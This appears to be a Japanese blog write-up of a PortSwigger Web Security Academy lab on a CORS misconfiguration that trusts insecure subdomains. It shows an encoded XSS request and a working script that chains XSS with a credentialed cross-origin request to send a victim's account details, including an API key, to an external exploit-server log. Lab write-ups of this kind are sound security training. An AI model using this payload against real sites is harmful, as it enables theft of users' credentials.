Shikata Ga Nai

Private? There is no such things.

CORS vulnerability with trusted insecure protocolsをやってみた

Hello there, ('ω')ノ

 

信頼できる安全でないプロトコルによるCORSの脆弱性を。

サイトには、プロトコルに関係なくすべてのサブドメインを信頼するという点で。

安全でないCORS構成があるようで。

 

まずは、ログインしてアカウントページにアクセスして。

 

f:id:ThisIsOne:20210322123439p:plain

 

履歴を確認すると。

/ ccountDetailsへのAJAXリクエストを介して取得されて。

レスポンスには、CORSをサポートする可能性があることを示唆する。

Access-Control-Allow-Credentialsヘッダが含まれていて。

 

f:id:ThisIsOne:20210322123526p:plain

 

下記を追加してSendすると。

オリジンがAccess-Control-Allow-Originヘッダに反映されて。

CORSがHTTPSとHTTPの両方の任意のサブドメインからアクセスを許可していて。

 

 Origin: http://subdomain.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net

 

f:id:ThisIsOne:20210322123727p:plain

 

インターセプトをオンにして。

Check stockをクリックすると。

 

f:id:ThisIsOne:20210322123906p:plain

 

下記のサブドメインで読み込まれているようで。

 stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net

 

f:id:ThisIsOne:20210322124316p:plain

 

一応、下記を追加してさきほどのリピータでレスポンスを確認して。

 Origin: https://stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net

 

f:id:ThisIsOne:20210322124544p:plain

 

下記のXSSのペイロードをエンコードして。

 <img src=x onmouseover=alert(1) >

 

f:id:ThisIsOne:20210322125604p:plain

 

ペイロードを挿入して、Forwardすると。


GET /?productId=%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%61%6c%65%72%74%28%31%29%20%3e&storeId=1

 

f:id:ThisIsOne:20210322125400p:plain

 

XSSの脆弱性が確認できたので。

 

f:id:ThisIsOne:20210322125536p:plain

 

さっそく、エクスプロイトサーバに移動して。

いつものコードにXSSのペイロードを組み込んだものを挿入して。

Storeして、Deliver exploit to victimで送信して。

 

<script>
document.location="http://stock.aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://aca31fcf1e8d18b1800a078000ef003d.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://acb51fa91ef91862801c0794015b0012.web-security-academy.net/exploit/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

 

f:id:ThisIsOne:20210322131014p:plain


ログの中からAdministratorのAPI Keyをコピーして。

 

f:id:ThisIsOne:20210322130929p:plain


デコードして。

 

f:id:ThisIsOne:20210322130903p:plain

 

API Keyを入力すると。

 

f:id:ThisIsOne:20210322130808p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210322130842p:plain

 

Best regards, (^^ゞ